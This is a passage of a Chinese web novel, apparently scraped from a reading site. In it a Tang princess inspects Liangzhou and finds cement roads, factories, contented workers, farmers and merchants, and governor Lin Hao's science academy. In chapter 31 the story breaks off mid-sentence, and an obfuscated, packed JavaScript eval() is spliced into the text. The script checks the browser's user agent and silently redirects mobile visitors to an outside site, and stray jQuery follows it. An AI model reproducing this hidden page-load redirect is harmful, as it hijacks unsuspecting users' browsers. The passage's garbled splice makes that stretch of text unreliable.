侍女小环正全神贯注地对抗着颠簸,这突如其来的平稳让她失了重心,整个人向前一栽,幸好及时扶住了桌子才没摔倒。
她惊魂未定地抬起头,却看见了更让她吃惊的一幕。
小几上那杯之前还在剧烈晃荡的茶水,此刻水面平稳如镜,连一丝涟漪都看不见。
“怎么回事?”李丽质秀眉紧蹙,察觉到了这诡异的变化。
她猛地再次掀开车帘,顿时愣住了。
一条路。
一条她从未见过的路。
它宽阔、平坦、坚硬,呈现出一种奇异的灰白色。
路面光滑得能映出天光的倒影,笔直地向前延伸,消失在地平线的尽头。
就在那块“凉州”界碑之后,这条灰白色的巨龙,与之前那条满是坑洼的泥土路形成了截然不同的两个世界。
“停车!”
车夫在短暂的震惊后,下意识地勒紧了缰绳。
整个车队都停了下来。
所有护卫都翻身下马,像是看怪物一样围着这条奇特的大道,脸上写满了不可思议。
“这……这是什么路?”
“天啊,跟磨刀石一样平整!”
一名护卫胆子大些,走上前去,用刀鞘的末端用力敲了敲路面。
“梆!梆!”
清脆而坚硬的声音传来,不像是泥土,也不像是石板。
“公主!”
那护卫回头,声音里带着惊奇,“这路面硬得很!像是……像是用一整块巨大的石头铺成的!”
一整块石头?怎么可能!什么石头能绵延到看不见尽头?
李丽质推开车门,走了下去。
金丝绣鞋踩在灰白色的路面上,脚下传来冰冷、坚实的感觉。
她弯下腰,伸出纤纤玉指,亲手触摸着这路面。
粗糙中带着一种奇异的平滑,冰冷坚硬,浑然一体,找不到任何拼接的缝隙。
她忽然想起,上次为了逃婚,她慌不择路,走的是偏僻小道进入凉州,从未见过这条主官道。
难道……
一个念头不受控制地从心底冒了出来。
难道我真的错怪他了?
不!绝不可能!
这个念头刚一出现,就被她强行掐灭。
她是金枝玉叶的大唐公主,自幼饱读诗书,明辨是非,怎么可能会错?
那个林浩,不过是个投机取巧的罪臣,他怎么可能造出如此匪夷所思的东西!
李丽质的脸色瞬间恢复了冰冷,骄傲不允许她承认自己的判断有任何失误。
“故弄玄虚!”她冷着脸说道,“这定是那林浩知道本宫要来,特意修了这么一小段路来粉饰太平,意图蒙蔽本宫!”
护卫和侍女们面面相觑,虽然觉得这个解释有些牵强,但公主殿下金口玉言,他们也不敢反驳。
“继续走!”
李丽质回到车上,语气坚决,“全速前进!我倒要看看,他这骗人的把戏能演多长!”
“是!”
车夫应了一声,扬起马鞭。
马车在水泥路上重新启动,速度比之前快了一倍不止。
没有了颠簸,马儿跑得更加欢快,车轮滚滚,只发出“沙沙”的轻响。
车队如同一支利箭,在平坦的大道上飞驰。
一个时辰过去了。
车队已经深入凉州境内数十里。
李丽质掀开车帘,向外望去。
前方的道路,依旧是那条望不到尽头的灰白色大道。
两旁的景象已经变了。不再是荒芜和枯黄,取而代之的是一片片规划整齐的田地。
田地里,有农人正在用一种造型奇特的犁耕作,看起来十分省力。
远处,甚至能看到正在修建的水渠。
一切都显得井井有条,充满了生机。
这和她在界碑另一侧看到的景象,判若云泥。
护卫们的表情,已经从最初的惊奇,变为了深深的敬畏。
没有人再说话,但每个人心里都清楚,能把路修成这样,并且绵延数十里,绝不是“粉饰太平”四个字可以解释的。
这需要的人力、物力、财力,以及那神乎其技的技术,都超出了他们的想象。
李丽质坐在车厢里,双手紧紧攥着丝帕。
她的骄傲,她的判断,她的认知,在这条无限延伸的灰白大道面前,被碾得粉碎。
不,不能认输。
她强迫自己冷静下来,大脑飞速运转,寻找着新的突破口。
对,路修得再好又如何?
这些都是面子工程!
她猛地站起身,对着车外大声说道:“停下!”
车队再次停住。
李丽质走下马车,迎着凉州干爽的风,目光扫过所有护卫。
“你们看到了吗?”
她指着这条路,声音里带着一种悲天悯人的痛心,“如此浩大的工程,要耗费多少民脂民膏?凉州百姓本就困苦,那林浩不好好想着如何让他们填饱肚子,却把钱粮都用在修这种华而不实的路上面!”
“这恰恰证明了他好大喜功,不恤民生!”
护卫们再次愣住了。
公主殿下说得……好像也有道理?
李丽质看着众人被她说服的表情,心中稍定。
她重新找回了那种“众人皆醉我独醒”的使命感。
“走!”
她一挥手,指向远方凉州城的方向,“我们进城去!本宫要亲眼看看,在这条奢华大道的背后,凉州城内的百姓,是不是都在挨饿!
本宫要让他林浩,在真正的民生面前,无可遁形!”
第29章:欢迎公主殿下莅临凉州指导工作
车队在距离凉州城墙约莫十里的地方停了下来。
这条灰白色的平坦大道,一直延伸到城门脚下,没有半分偷工减料。
李丽质一路行来,心也一路往下沉。
她强迫自己不去看来路,只盯着远处那座在阳光下显得有些巍峨的凉州城。
她不能输,更不能错。
父皇和满朝文武都被那妖人蒙蔽,只有她,才是那个清醒者,是来揭穿骗局的。
“去。”李丽质端坐在车内,声音听不出喜怒,却带着一股不容置疑的威严,“传本宫懿旨,凉州刺史林浩,率文武百官,出城十里,以最高规制,迎接本宫驾临。”
这是身为公主的威仪,也是她重塑权威的第一步。
她要让那个林浩明白,无论他搞出什么花样,在大唐的礼法规矩面前,都得低头。
一名内侍领了命,策马飞奔,直冲凉州城门。
城门口,几名负责登记进出的官吏正百无聊赖地打着哈欠,见到一骑快马卷着烟尘而来,马上精神起来。
“来者何人!”
内侍勒住马,居高临下,从鼻孔里哼出一声,尖着嗓子宣道:“长乐公主驾到!尔等速速通报凉州刺史林浩,命他率一众属官,即刻出城十里,恭迎公主圣驾!”
说完,他便调转马头,在原地踱步,一副等着看好戏的模样。
几名官吏面面相觑,公主?哪个公主?
“快!快去禀报刺史大人!”一名年长的官吏反应过来,推了一把身边的年轻人。
那年轻人连滚带爬地冲进城里,穿过几条干净整洁的街道,一路跑向城东。
城东现在是凉州最热闹,也是最嘈杂的地方。
巨大的厂房拔地而起,高耸的烟囱冒着滚滚浓烟,空气里弥漫着一股煤炭燃烧和金属灼热的混合气味。
“哐当!哐当!”
“一号炉加料!快点!”
“那边那个!模具对准了!”
震耳欲聋的声响中,林浩正穿着一身耐脏的粗布短打,蹲在一个刚刚脱模的金属零件前。
他戴着厚厚的皮手套,用一把小锤子在零件上敲敲打打,听着回音,眉头紧锁。
“刺史大人!刺史大人!”传令的官吏气喘吁吁地跑到他身边,扯着嗓子大喊,“城外来了个内侍,说是……说是长乐公主驾到,让您带人出城十里去迎接!”
林浩头也没抬,眼睛依旧死死盯着那个零件,似乎在思考一个天大的难题。
零件的边缘还是有些毛糙,这说明铸造时的温度或者冷却速度出了问题,会影响咬合的精度。
官吏看他不说话,急得满头大汗,又重复了一遍:“刺史大人!是公主啊!长乐公主!让您去迎接!”
“吵什么。”林浩终于开了口,语气里满是不耐烦,“没看见我正忙着吗?”
他拿起零件,对着光线仔细察看,随口对那官吏挥了挥手。
“让她等着。”
“啊?”官吏以为自己听错了,耳朵凑近了些。
林浩把零件扔回冷却水槽里,发出一阵“刺啦”的声响。他站起身,拍了拍手上的灰,这才瞥了官吏一眼。
“听不懂人话?”他皱着眉,“告诉她,我忙,让她等着。”
官吏的脸瞬间白了。
这……这可是公主啊!皇帝陛下的心头肉!让她等着?这话说出去,脑袋还要不要了?
可看着林浩那副“再多说一句就让你去炉子里凉快凉快”的表情,他一个字也不敢反驳,只能哭丧着脸,哆哆嗦嗦地跑了回去。
城门口,那内侍等得已经有些不耐烦。
见到传令官吏跑回来,他立刻挺直了腰板,准备听那林浩如何屁滚尿流地带着人出城。
官吏跑到他马前,结结巴巴,把林浩的原话学了一遍。
“林……林刺史说……他忙……让……让公主殿下……等着……”
空气仿佛凝固了。
内侍脸上的得意笑容僵住,然后慢慢转为紫红色,他简直不敢相信自己的耳朵。
“你……你说什么?!”
“他让本宫……等着?”
冰冷的声音从不远处的车驾中传来,李丽质不知何时已经掀开了车帘。
她的脸上没有一丝表情,但那双美丽的凤眼里,已经酝酿着滔天风暴。
内侍吓得魂飞魄散,连滚带爬地回到车驾前:“殿下息怒!那林浩……那林浩狂悖无礼!简直无法无天!奴婢这就带人冲进去,将他绑来给殿下问罪!”
“不必了。”李丽质缓缓放下车帘。
她的声音平静得可怕。
“传令下去,全队原地驻扎,安营扎寨。”
“本宫就在这里等。”
“本宫倒要看看,他这个凉州刺史,能忙到什么时候。也让天下人都看看,他林浩,是如何藐视皇威,欺君罔上的!”
命令传达下去,整个车队都愣住了。
原地扎营?在这官道上?
但公主金口玉言,护卫们不敢违抗,只能开始卸下物资,在官道旁边的空地上忙碌起来。
时间一点一滴地流逝。
天上的太阳从正当中,慢慢滑向西边。
凉州城门紧闭,城墙上一片死寂,连个鬼影都没有。
仿佛那座城,根本不知道十里之外,有一位帝国的公主正在烈日下苦等。
车队里的气氛越来越焦躁。
侍女们小声地抱怨着口渴和炎热,护卫们握着刀柄的手青筋毕露,他们何曾受过这种窝囊气?
只有李丽质,依旧端坐在车厢里,一动不动,一言不发。
她的骄傲,她的尊严,此刻化作了一股执拗的怒火,支撑着她。
她不信,一个臣子,敢真的把公主晾在这里。
这一定是林浩最后的挣扎,他一定在城里手忙脚乱地准备着,很快就会出来负荆请罪!
然而,随着夕阳西下,将天边染成一片橘红,凉州城依旧毫无动静。
就在所有人的耐心都快要被磨光的时候。
“轰隆隆……哐……轰隆隆……哐……”
一阵巨大而古怪的声响,毫无征兆地从凉州城门的方向传来。
它不像战鼓,没有那份激昂;也不像号角,没有那份高亢。
它更像是一头沉睡的钢铁巨兽,被唤醒后发出的心跳。
李丽质车队的所有人,包括那些身经百战的护卫,全都停下了手里的活计,面带惊疑地望向那座在夕阳下沉默的城池。
未知的,总是最令人恐惧的。
“什么动静?”
“是……是攻城锤吗?城里在操练?”
“不像,声音太怪了!”
护卫队长握紧了刀柄,手心已经全是汗。
他打过最惨烈的仗,见过最凶悍的敌人,却从未听过如此诡异的声音。
李丽质那双燃烧着怒火的凤眼里,第一次浮现出一丝茫然。
她努力地在脑海中搜索,想要给这个声音下一个定义,却发现自己的认知一片空白。
就在众人惊疑不定之际,那声音的源头出现了。
城墙之上,不知何时架起了数个巨大的、黑色铁皮卷成的古怪喇叭。
那诡异的声响,正是从这些大喇叭里传出来的。
紧接着,音乐变了。
不再是沉重的摩擦声,而是一段节奏感极强、鼓点分明的古怪乐曲。那曲调简单、有力,甚至有些……欢快?
完全不似大唐雅乐的雍容,也没有军乐的肃杀,充满了李丽质无法理解的活力。
“嘎吱——”
沉重的城门,缓缓打开。
李丽质的心提到了嗓子眼,她死死盯着洞开的城门。
她想象过无数种可能:林浩带着文武百官,诚惶诚恐地跪地请罪;或者他狗急跳墙,带着一队甲士冲出来负隅顽抗。
但她看到的一幕,再次颠覆了她的想象。
没有官员,没有甲士。
从城门里涌出的,是一片蓝色的海洋。
成百上千名男男女女,全都穿着统一的蓝色粗布工装,精神抖擞地从城里走了出来。
他们步伐不算整齐,脸上还带着刚从工坊里出来的汗水和灰尘,但每个人的脸上都没有丝毫卑微或畏惧,反而充满了好奇和一种难以言喻的精气神。
他们在城门前的空地上迅速集结,之前的杂乱在短短几十息内就消失得无影无踪。
一个个小方阵迅速成型,横平竖直,宛如刀切斧砍,其效率之高,让护卫队长都看得眼皮直跳。
一个同样穿着蓝色工装、只是布料看起来新一些的年轻男人走到了队列的最前方。
他手里没拿官印,也没捧圣旨,而是举着一个同样由铁皮卷成的、更小一些的喇叭。
正是林浩。
李丽质和她的仪仗队,所有人都石化了。
这是什么迎接仪式?这又是什么阵仗?
他们准备好的威仪、规矩、礼法,在这一片蓝色的海洋和那个举着铁皮喇叭的刺史面前,显得如此可笑和不合时宜。
林浩清了清嗓子,将铁皮喇叭凑到嘴边,声音被放大,清晰地传遍了整个空地,也传到了李丽质的耳朵里。
“第九套广播体操,现在开始!原地踏步走!”
“一二一!一二一!”
“第一节,伸展运动!一二三四,二二三四……”
随着林浩的口令,那上千名工人,竟然在激昂的音乐声中,开始做起了各种整齐划一的动作。
他们时而伸臂,时而扩胸,时而踢腿,时而跳跃……
动作大开大合,充满了力量感,却和李丽质认知中的任何一种舞蹈、武术、仪仗都毫不相干。
整个场面,荒诞到了极点。
李丽质的嘴唇微微张开,大脑一片空白。
她预想过林浩的卑躬屈膝,也准备好了义正辞严的斥责。
她甚至想好了,如果林浩敢顶撞,她该如何引用《大唐律疏》来将他定罪。
可她万万没想到,对方根本不按牌理出牌。
他用一种她完全无法理解,甚至无法评价的方式,化解了她所有的准备。
你如何去指责一群正在……锻炼身体的百姓?你如何去治罪一个……领着大家做操的刺史?
她那满腔的怒火,就像一拳打在了棉花上,无处发力。
“殿下……这……这……”旁边的小环已经看傻了,结结巴巴,半天说不出一句完整的话。
整个公主仪仗队,上百号人,就这么呆立在官道上,像一群误入异域的看客,看着眼前这热火朝天、匪夷所思的一幕,鸦雀无声。
几分钟后,一套“体操”做完了。
林浩放下喇叭,擦了擦额头的汗。
所有工人立正站好,齐齐望向公主车队的方向,他们并没有下跪,只是站得笔直。
在一名工头的带领下,上千人齐声高喊,声震四野:
“欢迎——公主殿下——莅临凉州——指导工作!”
第30章:本宫的子民,为何不说实话
凉州刺史府,一如林浩本人,简单得有些过分。
没有雕梁画栋,没有奇花异草,只有青砖白墙,一切都以实用为先。
李丽质面罩寒霜地坐在主位上,拒绝了侍女奉上的茶水。
她知道,不能再被林浩的节奏带着走了。她必须夺回主动,必须用大义和律法,将这个妖人死死钉在耻辱柱上!
“林浩。”李丽质的声音冰冷刺骨,不带任何情绪,直接打断了林浩想要开口的客套。
“本宫此次前来,不为游山玩水,只为一件事。”
“你,以妖术炼钢,滥用民力,致使民怨沸腾,祸乱一方!本宫奉父皇之命,前来彻查!你,可知罪?!”
这话一出口,整个大堂的空气都凝固了。
侍女小环和护卫们都挺直了腰板,这才是他们熟悉的公主殿下,这才是皇家的威严!
林浩连眉毛都没动一下,他拉过一张椅子,自顾自地坐下,端起自己的茶杯吹了吹热气,才慢条斯理地问:“殿下说我滥用民力,不知这民,在何处?这怨,又在何方?”
“巧舌如簧!”李丽质冷哼一声,“来人!将本宫的桌案搬到堂前!本宫今日,便在此地亲自审问,让你心服口服!”
她要绕开林浩,直接传唤那些被他压榨的“受害者”,让事实当着所有人的面,狠狠打他的脸。
很快,一张公案被设在堂中,李丽质端坐其后,颇有几分御史问案的架势。
“传!钢铁厂的工匠上堂!”
不一会儿,一个中年汉子被带了上来。
他身上穿着和林浩同款的粗布短打,只是更旧一些,上面还有洗不掉的油污。
汉子身材敦实,面色虽然有些疲惫,但气色红润,眼神明亮,看到堂上这么大阵仗,只是有些拘谨,却没有半分畏惧。
李丽质看着他,心里已经预设好了接下来的对话。她放缓了语气,努力让自己显得和蔼可亲。
“堂下何人?不必害怕,本宫在此为你做主。那林浩是如何威逼你们,用那所谓的计件薪酬,强迫你们不分昼夜劳作的?你只管说实话,本宫定会严惩恶徒!”
汉子愣了一下,眨了眨眼,似乎没听懂公主的话。
他看了一眼旁边气定神闲喝茶的林浩,才瓮声瓮气地开口:“回公主殿下,小人叫王大锤,是钢铁厂一号高炉的炉长。刺史大人……没有威逼我们啊。”
李丽质眉头一皱。
“大胆!到了本宫面前还敢为他狡辩!”
她一拍惊堂木,“你若不说,自有旁人会说!那计件薪酬,是不是做多得多,做得少便要克扣工钱,让你们的家人都吃不饱饭?”
王大锤的表情更奇怪了,他挠了挠头,像是看一个问出傻问题的人。
他没有直接回答,而是小心翼翼地从怀里掏出一个用油布包着的小本子。
本子被翻得起了毛边,显然是天天带在身上的。
他笨拙地翻开,指着上面密密麻麻的字迹。
“公主您看,这是俺的工分本。”
“上面记着呢,俺昨天带班,多炼了一炉钢,得了三十个工分。前天,俺们改进了加料的法子,省了力气,又快了些,大人奖励了俺们全班一人二十个工分。”
“月底,俺就拿着这本子去账房。三十个工分,能换一斗上好的白面。二十个工分,能换五斤猪油。上个月俺攒得多,换了两匹结实的棉布,给俺婆娘和娃都做了身新衣裳。俺家现在顿顿能吃上干的,娃都长胖了。”
说到这里,王大锤像是想起了什么,扑通一声就跪下了,对着李丽质磕了个头,声音里带着一丝惶恐。
“公主殿下,您可千万别取消这个计件薪酬啊!俺们全家老小都指着这个活呢!”
“……”
李丽质张了张嘴,一个字也说不出来。
她预想中的血泪控诉,变成了感恩戴德。
她想要解救的受害者,反过来求她不要“解救”。
这……这怎么可能?
她的脸色一阵青一阵白,大脑飞速运转,强行寻找着新的突破口。
“你……你休要狡辩!钱粮是小,性命为大!”
她的声音陡然拔高,透着一股色厉内荏,“那工厂日夜轰鸣,炉火滔天,定是凶险万分!林浩为了产量,罔顾你们的死活,这难道不是事实?”
王大锤站起身,低头看了看自己。
他先是抬起脚,用力在地上跺了跺,发出“梆”的一声闷响。
“公主您说的是这个?大人管这叫钢头鞋,说能防着铁块砸了脚趾头。俺们班前几天有个新来的,手滑掉了个铁锭,正好砸脚上,要是以前,这脚就算废了。那天呢?鞋面砸了个坑,脚一点事没有!”
他又扯了扯自己身上那件厚实的粗布衣。
“还有这劳保服,防火防烫。俺们高炉边上,火星子乱溅是常事,穿着这个,身上就没起过泡。”
“要是真有个磕了碰了,厂里东头就有医务室,里面的大夫看病不要钱,用的药也只收个本钱。俺们这些干活的,谁还没个腰酸腿疼,去按两下,第二天就舒坦多了。”
“不止呢!厂子后面还开了个娃样子,哦,大人管那叫托儿所。俺跟俺婆娘都在厂里干活,就把娃放那儿,有专门的大娘看着,管吃管玩,还教认字。俺们下工了再去接回来,啥心都不用操。这么好的事,去哪找啊?”
“公主殿下,俺是个粗人,不懂什么大道理。俺就知道,俺凭力气干活,刺史大人给俺发钱发粮,让俺一家老小吃饱穿暖,活得像个人样。这天经地义的事,俺不明白,您为啥要管?”
李丽质呆呆地看着王大锤脸上那真诚到不能再真诚的表情,那双清澈的眼睛里,写满了对她这个公主的困惑。
她感觉自己的世界观,被这个叫王大锤的壮汉,用最朴实的话语,砸出了一道巨大的裂缝。
她挥了挥手,声音有些发飘。
“你……你下去吧。”
王大锤如蒙大赦,又磕了个头,揣好他的宝贝工分本,高高兴兴地走了。
大堂里一片死寂。
小环和护卫们面面相觑,脸上的表情比吃了苍蝇还难受。
李丽质坐在那里,许久没有说话。
不,不对。
她猛地攥紧了拳头,指甲再次陷入肉里。
这一定是林浩的阴谋!这个王大锤,定是他早就安排好的托!一个工人能收买,十个工人也能收买,钢铁厂里都是他的心腹!
对,一定是这样!
她的眼睛里重新燃起了斗志。
工匠被他收买了,那那些被强征去修路的农民呢?修那条几十里长的奢华大道,不知累死了多少人,逼得多少人家破人亡!那些农民,总不会也被他收买了吧!
“来人!”李丽质的声音恢复了之前的冰冷和威严。
“传一名被强征修路的农夫上堂!本宫要亲自问话!”
第31章:百姓**,请林大人多布置作业
堂中命令传下,很快,一名黑瘦的老农被带了上来。
老农约莫五十多岁,常年的风吹日晒在他脸上刻满了沟壑,背微微有些佝偻。
他身上穿着打了补丁的粗布衣裳,脚上的鞋沾着泥土,显然是刚从田里被叫过来的。
他对着主位上的李丽质跪下磕了个头,动作有些笨拙,口中喊着:“草民赵老四,拜见公主殿下。”
李丽质强压下心中的翻腾,这一次,她绝不会再被蒙骗。
“赵老四,本宫问你。”
她的声音比之前更加冷硬,“那林浩为修那条华而不实的水泥路,强征你们这些农夫,是否耽误了农时?家中可还有余粮?你们是否因此食不果腹,怨声载道?你只管说实话,本宫在这里,没人敢把你怎么样!”
然而,赵老四只是愣了一下,抬起头,脸上满是困惑。
“回殿下,修路……是耽误了点农时。”
李丽质心中一喜,来了!
她立刻追问:“果然如此!他必定是用鞭子逼你们去的吧!有多少人累死在了那工地上?”
“不不不,殿下您误会了。”赵老四连连摆手,生怕公主听错了话。
他没直接回答,而是转过身,小心翼翼地从背后的一个布袋里,掏出个东西来。
那是个木头做的物件,巴掌大小,造型却很别致,犁辕弯曲,犁头尖锐,像是个农具的模型。
这东西,和之前马周带回长安的那件,一模一样。
“殿下您看这个。”
赵老四把那木犁模型举了起来,语气里带着一股藏不住的炫耀,“这是官府发的,叫曲辕犁。俺们以前用的直辕犁,笨重得很,得两头牛才拉得动,一天下来累死个人,也耕不了几亩地。现在用这个,一头牛就够了,轻快得很,俺家那半大小子都能扶着犁跑,一天耕的地,比以前多一倍不止!”
“是耽误了点农时,可剩下的时间,用这新犁,三五天就把活干完了,比以前还快!而且啊,那水泥路修好了,俺们村里的菜和蛋,用独轮车推着,一个时辰不到就运到城里了,卖得快,价钱也好。以前走土路,颠簸不说,半天才能到,好好的菜都蔫了。就这几个月,俺们村光卖菜,就比去年多挣了三成!”
李丽质的脸色僵住了。
“那……那修路总归是徭役,是强征!难道你们就心甘情愿,白白为他卖力?”她的声音已经有些不稳,像是在质问,又像是在说服自己。
赵老四闻言,表情更古怪了,像是听到了什么天方夜谭。
“公主殿下,啥是白白卖力啊?去修路,可是好事哩!”
他咧开嘴,露出一口黄牙,“修路是给工分的!一天干下来,能拿十个工分。那工分可是好东西,去官府的粮仓,五个工分就能换一斗粟米,十个工分能换一斗白面!比俺们自个儿种地划算多了!俺农闲的时候就去修路,一个月下来,换的粮食够全家吃两个月!好多人都抢着去呢,去晚了都排不上队!”
说到这里,赵老四非但没有半点抱怨,反而一脸愁苦地叹了口气。
他往前膝行了两步,对着李丽质又是一个磕头,这次却不是拜见,而是请求。
“公主殿下,您是贵人,说话肯定管用。草民斗胆,求您个事儿。”
李丽质彻底懵了,下意识地问:“……何事?”
“您能不能跟林大人说说,”赵老四一脸的真诚,甚至带着几分急切,“让他老人家别再给俺们发那个《农技手册》了!”
李丽质一愣,以为找到了突破口:“为何?可是那手册上的法子不管用?”
“管用!太管用了!”赵老四一拍大腿,“上面教俺们怎么选种,怎么堆肥,怎么治虫,那法子神了!可问题是……那上面的字,俺们不认识啊!”
他愁眉苦脸地继续说:“林大人是办了夜校,让俺们去扫盲。可教书的先生讲得太慢了!俺这都学俩月了,连手册第一页都没认全!俺们都跟先生说了,让他教快点,多留点作业,可先生说要循序渐进!公主殿下,您跟林大人说说,让他催催夜校的先生,俺们不怕苦,就怕学不上新本事,耽误了秋收啊!”
“……”
大堂内,死一般的寂静。
李丽质呆呆地看着堂下那个一脸“求知若渴”,抱怨作业太少的老农,一股热流从脖颈直冲头顶,烧得她耳根都滚烫起来。
她设想了无数种可能,唯独没有想到,一个被她认定的“受害者”,竟然会因为学习进度太慢而向她这个公主告状。
她不是来为民做主的吗?
她不是来伸张正义的吗?
可现在,她感觉自己像个戏子。
一个不问世事,凭空想象,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391599|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跑来对别人的幸福生活指手画脚的……戏子。
旁边的侍女小环和护卫们,一个个低着头,眼观鼻,鼻观心,大气都不敢出。他们看向李丽质的眼神里,已经不再是崇拜和信服,而是多了几分同情和尴尬。
许久,李丽质才找回自己的声音,那声音干涩沙哑:“……你,下去吧。”
赵老四得了允,千恩万谢地退了下去,嘴里还念叨着“公主殿下可一定要跟林大人说啊”。
李丽质的指甲深深陷进掌心的软肉里,疼痛让她勉强维持着清醒。
不,还没完。
工人和农民,都是些头脑简单的愚夫,容易被蝇头小利收买。
但商人不同。
无农不稳,无商不奸!
自古以来,商人都被朝廷压制,被官府盘剥。那林浩搞出这么多花样,钱从哪里来?定是与奸商勾结,对往来客商征收重税,中饱私囊!
这是官场的痼疾,是天下的通病!他林浩再有通天的本事,也绕不开这个!
对,证据一定在这里!
她像是溺水之人,在彻底沉没前抓住了一块腐朽的浮木,眼中重新燃起一丝偏执的光。
“传!往来凉州的商队管事上堂!”
片刻后,一个衣着体面的中年男人被带了上来。
他穿着一身裁剪合体的绸衫,气度沉稳,不似赵老四那般局促,也不像王大锤那般粗豪。
他对着李丽质躬身行了一礼,不卑不亢:“草民钱万三,见过公主殿下。”
李丽质看着他,冷冷开口:“钱万三,你常年往来于丝绸之路,本宫问你,凉州刺史林浩,是否对你们这些客商征收重税?他是否勾结本地豪商,垄断生意,以充实他自己的府库?”
这一次,她问得更加直接,更加尖锐。
然而,那名叫钱万三的商人听到“重税”二字,脸上露出的不是愤慨或畏惧,而是一种纯粹的不解。
“重税?”他愣了一下,随即摇头道,“回殿下,林大人从未在凉州增收过任何税款。我大唐的商税,三十取一,凉州也是如此,分文未多。”
“不可能!”李丽质断然喝道,“他修路,建厂,养着那么多的工匠,耗费如此巨大,不加税,钱从何来?!”
钱万三没有争辩,而是从宽大的袖中,取出了一份卷好的文书,恭敬地呈了上来。
第32章:这世间最恐怖的妖术叫科学!
内**文书递给李丽质,她展开一看,只见上面用清晰的楷书写着五个大字:《凉州商路安全协议》。
这名字透着一股闻所未闻的古怪感,挑战着她对官府文书的所有认知。
钱万三开口解释道:“殿下,官府的确未曾加税。但是,所有想在凉州地界上安安稳稳做生意的商队,都会主动与刺史府签下这份协议。”
他指了指那份文书。“协议上写明,我们商队,自愿按照货物总价值的百分之一,向凉州官府缴纳一笔‘安保费’。”
“安保费?”李丽质的眉头紧锁,这又是什么名目。
“对。”钱万三的脸上浮现出一种近乎狂热的激动与庆幸,“作为回报,凉州会派出一支装备精良的巡逻队,每日在从凉州到玉门关的商路上巡视,保障我们的安全。”
“殿下您是不知道啊!以前走这条路,就是把脑袋别在裤腰带上!盘踞在黑风口的马匪,神出鬼没,哪个商队没被他们抢过?每次过关,我们都得拿出至少一成的货物去孝敬他们,否则连人带货都给你留下!官府围剿了几次,都没用!”
“可自从三个月前,林大人的巡逻队一出来,那些马匪一夜之间就没影了!听说是被巡逻队给剿了,那些巡逻兵手里的钢刀,削铁如泥!这三个月,我们所有签了协议的商队,走凉州这条线,连一匹布都没丢过!货物损失,是零!”
“殿下,您给算算这笔账!以前损失一成的货物,现在只用交百分之一的‘安保费’,换来一路平安!这……这简直是天上掉下来的大好事啊!”
钱万三说完,非但没有控诉,反而对着李丽质深深一揖:“草民今日斗胆,也是代表我们所有签了协议的商队,来向公主殿下**的!”
“我们……我们恳请林大人,能把这安保费的额度再往上提一提!提到百分之二,不,百分之三都行!只要他老人家能再多招募些巡逻队员,把巡逻的范围再扩大一些,最好能一直护送到沙州去!”
“我们所有商队,都愿意出这个钱!”
李丽质怔怔地看着手中的那份《安全协议》,上面的条款清晰明了,权责分明,找不到任何可以攻讦的漏洞。
再看看堂下那个主动要求“加税”的商人。
她所有的骄傲,所有的认知,所有的准备,在这一刻,被彻底击得粉碎。
她的世界里,官就是官,民就是民,官府收税天经地义,百姓纳税理所应当。
可眼前发生的这一切,工人求着加班,农民求着上课,商人求着加税……
这到底是个什么样的凉州?
那个叫林浩的男人,他到底……是个什么样的人?
她的大脑,第一次,一片空白。
当一个人的所有行为,都能用“德政”来解释时,那他所使用的“手段”,还重要吗?
不。
李丽质猛地抬起头,那双失神的凤眼里,闪过最后一抹偏执的火光。
一定有哪里不对。
这一切的根源,那匪夷所思的炼钢术,那坚不可摧的水泥路,那锋利无比的农具……都来自一个地方。
那个林浩在城东建立的,号称“格物致知”的……科学院。
那里,定然就是所有“妖术”的源头!
她必须去那里!亲眼看看,那里面到底藏着什么鬼东西!
“既然你如此执迷不悟,那本宫便陪你走这一遭。”李丽质站起身,浑身散发着破釜沉舟的决绝气息。
“带路,本宫倒要看看,你那什么科学院里,到底藏着什么妖魔鬼怪!”
林浩放下茶杯,终于正眼看了她一下。“殿下确定?科学这东西,一旦看懂了,可就回不去了。”
李丽质冷笑:“本宫生于皇家,长于深宫,什么阴谋诡计没见过?区区江湖骗子的把戏,还能奈我何?”
“行。”林浩起身,拍了拍手上的茶叶沫,“那咱们就走着。”
科学院就在城东,距离刺史府不远。
一路上,李丽质死死盯着前面那个悠哉悠哉的背影,心中的怒火越烧越旺。
等会儿,等她亲眼看到那些“炼钢妖术”的真相,看他还怎么狡辩!
科学院的大门,比她想象的要朴素得多。没有飞檐斗拱,没有朱漆大门,就是普普通通的青砖墙,上面用黑漆写着五个大字:“凉州科学院”。
推门而入,李丽质愣住了。
院子里,几十个穿着奇怪白衣的人,正围着各种她从未见过的器具忙碌着。
有人对着一堆瓶瓶罐罐,小心翼翼地往里滴着液体。
有人拿着放大镜,对着一块铁片反复观察。
还有人在一块黑板上,写着密密麻麻的符号和数字。
这些人的神情专注得吓人,眼中闪烁着一种她从未见过的光芒。那不是贪婪,不是恐惧,更不是疯狂,而是一种纯粹的、对未知事物的渴求。
“这些人……”李丽质开口,发现自己的声音有些发颤,“他们在做什么?”
“研究。”林浩随口答道,“研究怎么让钢更硬,怎么让水泥更结实,怎么让庄稼长得更好。”
李丽质猛地转过头,指着那些“疯子”。“胡说八道!这些人原本都是大唐的栋梁之材,工匠巧师!你却让他们放着正经手艺不学,去捣鼓这些奇技淫巧!这是玩物丧志,误国误民!”
林浩没有反驳,只是朝前走去。“殿下既然这么说,那就来看看,什么叫奇技淫巧。”
他们来到一座高炉前。
李丽质的心跳加速,终于要见到传说中的“妖术炼钢”了!
然而,她看到的场景,再次超出了她的预料。
没有咒语,没有符箓,甚至连一炷香都没点。
一个年轻的工匠,正在一张纸前认真地记录着什么。纸上写着密密麻麻的数字:铁矿石85%,木炭12%,石灰石3%…
“老王,这一炉加多少碳?”林浩问道。
被称作老王的工匠头也不抬,熟练地回答:“按照昨天的测试结果,这批铁矿含碳量偏低,需要补加零点八个百分点的木炭粉,炉温控制在一千五百八十度,保持两个时辰。”
“为什么是零点八?”
“因为零点七硬度不够,零点九又太脆。我们做了一百多次实验,零点八的效果最好。”
